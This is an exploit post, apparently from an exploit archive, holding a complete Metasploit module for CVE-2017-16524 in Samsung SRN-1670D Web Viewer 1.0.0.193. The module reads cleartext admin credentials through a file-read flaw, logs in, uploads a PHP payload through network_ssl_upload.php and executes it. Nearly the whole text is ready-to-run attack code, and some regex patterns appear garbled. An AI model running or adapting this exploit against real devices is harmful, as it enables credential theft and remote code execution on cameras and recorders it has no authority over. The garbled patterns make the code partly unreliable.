Web Viewer 1.0.0.193 (Samsung SRN-1670D) File Upload
Posted on 14 November 2017
# Exploit Title: Unrestricted file upload vulnerability - Web Viewer 1.0.0.193 on Samsung SRN-1670D # Date: 2017-06-19 # Exploit Author: Omar MEZRAG - 0xFFFFFF / www.realistic-security.com # Vendor Homepage: https://www.hanwhasecurity.com # Version: Web Viewer 1.0.0.193 on Samsung SRN-1670D # Tested on: Web Viewer 1.0.0.193 # CVE : CVE-2017-16524 ## ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'digest' class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::PhpEXE def initialize(info = {}) super(update_info(info, 'Name' => 'Samsung SRN-1670D - Web Viewer Version 1.0.0.193 Arbitrary File Read & Upload', 'Description' => %q{ This module exploits an Unrestricted file upload vulnerability in Web Viewer 1.0.0.193 on Samsung SRN-1670D devices: 'network_ssl_upload.php' allows remote authenticated attackers to upload and execute arbitrary PHP code via a filename with a .php extension, which is then accessed via a direct request to the file in the upload/ directory. To authenticate for this attack, one can obtain web-interface credentials in cleartext by leveraging the existing Local File Read Vulnerability referenced as CVE-2015-8279, which allows remote attackers to read the web interface credentials via a request for the cslog_export.php?path=/root/php_modules/lighttpd/sbin/userpw URI. }, 'Author' => [ 'Omar Mezrag <omar.mezrag@realistic-security.com>', # @_0xFFFFFF 'Realistic Security', 'Algeria' ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2017-16524' ], [ 'URL', 'https://github.com/realistic-security/CVE-2017-16524' ], [ 'CVE', '2015-8279' ], [ 'URL', 'http://blog.emaze.net/2016/01/multiple-vulnerabilities-samsung-srn.html' ] ], 'Privileged' => true, 'Arch' => ARCH_PHP, 'Platform' => 'php', 'Targets' => [ ['Samsung SRN-1670D == 1.0.0.193', {}] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Mar 14 2017' )) register_options( [ OptString.new('RHOST', [ true, 'The target address.' ]), OptString.new('RPORT', [ true, 'The target port (TCP).', '80' ]), ]) end def check # print_status('Checking version...') resp = send_request_cgi({ 'uri' => "/index", 'version' => '1.1', 'method' => 'GET', 'headers' => { 'User-Agent' => "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)" } }) unless resp print_error("Connection timed out.") return Exploit::CheckCode::Unknown end # <!--------------------------------- File Version 1.0.0.193 ---------------------------------> version = nil if resp and resp.code == 200 and resp.body.match(/Web Viewer for Samsung NVR/) if resp.body =~ /File Version (d+.d+.d+.d+)/ version = $1 if version == '1.0.0.193' print_good "Found vesrion: #{version}" return Exploit::CheckCode::Appears end end end Exploit::CheckCode::Safe end def exploit print_status('Obtaining credentails...') resp = send_request_cgi({ 'uri' => "/cslog_export.php", 'version' => '1.1', 'method' => 'GET', 'vars_get'=> { 'path' => '/root/php_modules/lighttpd/sbin/userpw', 'file' => 'foo' }, 'headers' => { 'User-Agent' => "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)" } }) unless resp print_error("Connection timed out.") return Exploit::CheckCode::Unknown end if resp and resp.code == 200 and resp.body !~ /Authentication is failed/ and resp.body !~ /File not found/ username = resp.body.split(':')[0] password = resp.body.split(':')[1].gsub(" ",'') print_good "Credentials obtained successfully: #{username}:#{password}" data1 = Rex::Text.encode_base64("#{username}") data2 = Digest::SHA256.hexdigest("#{password}") randfloat = Random.new data3 = randfloat.rand(0.9) data4 = data3 print_status('Logging...') resp = send_request_cgi({ 'uri' => "/login", 'version' => '1.1', 'method' => 'POST', 'vars_post'=> { 'data1' => data1, 'data2' => data2, 'data3' => data3, 'data4' => data4 }, 'headers' => { 'User-Agent' => "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)", 'DNT' => "1", 'Cookie' => "IESEVEN=1" } }) unless resp print_error("Connection timed out.") return Exploit::CheckCode::Unknown end if resp and resp.code == 200 and resp.body !~ /ID incorrecte/ and resp.body =~ /setCookie('NVR_DATA1/ print_good('Authentication Succeeded') nvr_d1 = $1 if resp.body =~ /setCookie('NVR_DATA1', '(d.d+)'/ nvr_d2 = $1 if resp.body =~ /setCookie('NVR_DATA2', '(d+)'/ nvr_d3 = $1 if resp.body =~ /setCookie('NVR_DATA3', '(0xhh)'/ nvr_d4 = $1 if resp.body =~ /setCookie('NVR_DATA4', '(0xhh)'/ nvr_d7 = $1 if resp.body =~ /setCookie('NVR_DATA7', '(d)'/ nvr_d8 = $1 if resp.body =~ /setCookie('NVR_DATA8', '(d)'/ nvr_d9 = $1 if resp.body =~ /setCookie('NVR_DATA9', '(0xhh)'/ cookie = "IESEVEN=1; NVR_DATA1=#{nvr_d1}; NVR_DATA2=#{nvr_d2}; NVR_DATA3=#{nvr_d3}; NVR_DATA4=#{nvr_d4}; NVR_DATA7=#{nvr_d7}; NVR_DATA8=#{nvr_d8}; NVR_DATA9=#{nvr_d9}" payload_name = "#{rand_text_alpha(8)}.php" print_status("Generating payload[ #{payload_name} ]...") php_payload = get_write_exec_payload(:unlink_self=>true) print_status('Uploading payload...') data = Rex::MIME::Message.new data.add_part("2", nil, nil, 'form-data; name="is_apply"') data.add_part("1", nil, nil, 'form-data; name="isInstall"') data.add_part("0", nil, nil, 'form-data; name="isCertFlag"') data.add_part(php_payload, 'application/x-httpd-php', nil, "form-data; name="attachFile"; filename="#{payload_name}"") post_data = data.to_s resp = send_request_cgi({ 'uri' => normalize_uri('/network_ssl_upload.php'), 'method' => 'POST', 'vars_get' => { 'lang' => 'en' }, 'headers' => { 'User-Agent' => "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)" }, 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'cookie' => cookie, 'data' => post_data }) unless resp print_error("Connection timed out.") return Exploit::CheckCode::Unknown end if resp and resp.code == 200 print_status('Executing payload...') upload_uri = normalize_uri("/upload/" + payload_name) send_request_cgi({ 'uri' => upload_uri, 'method' => 'GET' },5) unless resp print_error("Connection timed out.") return Exploit::CheckCode::Unknown end if resp and resp.code != 200 print_error("Failed to upload") end else print_error("Failed to upload") end else print_error("Authentication failed") end else print_error "Error obtaining credentails" end end end